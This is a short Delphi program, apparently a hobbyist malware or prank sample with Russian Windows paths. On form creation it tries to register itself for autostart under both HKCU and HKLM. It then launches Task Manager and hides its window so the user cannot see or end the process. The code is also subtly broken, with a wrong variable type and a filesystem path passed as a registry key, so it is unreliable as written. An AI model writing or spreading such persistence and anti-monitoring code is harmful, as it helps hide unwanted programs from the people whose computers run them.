uses
     Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
     Dialogs,registry,shellAPI;

procedure TForm1.FormCreate(Sender: TObject);
var reg:registry;
h:hwnd;
begin

try
reg:=tregistry.create;
reg.RootKey:=hkey_current_user;
reg.LazyWrite:=false;
reg.OpenKey('C:\ProgramData\Microsoft\Windows\Главное Меню\Программы\Автозагрузка',false);
reg.WriteString('Papka\Project1.exe',application.exename);
reg.CloseKey;
reg.Free;
except
exit;
end;

try
reg:=tregistry.create;
reg.RootKey:=hkey_local_machine;
reg.LazyWrite:=false;
reg.OpenKey('C:\ProgramData\Microsoft\Windows\Главное Меню\Программы\Автозагрузка',false);
reg.WriteString('Papka\Project1.exe',application.exename);
reg.CloseKey;
reg.Free;
except
exit;
end;

ShowMessage('HI');

ShellExecute(0,'open',('C:\Windows\System32\taskmgr.exe'),nil,nil,0);
h:=findwindow(0,'Диспетчер Задач Windows');
ShowWindow(h,SW_HIDE);

end;

end.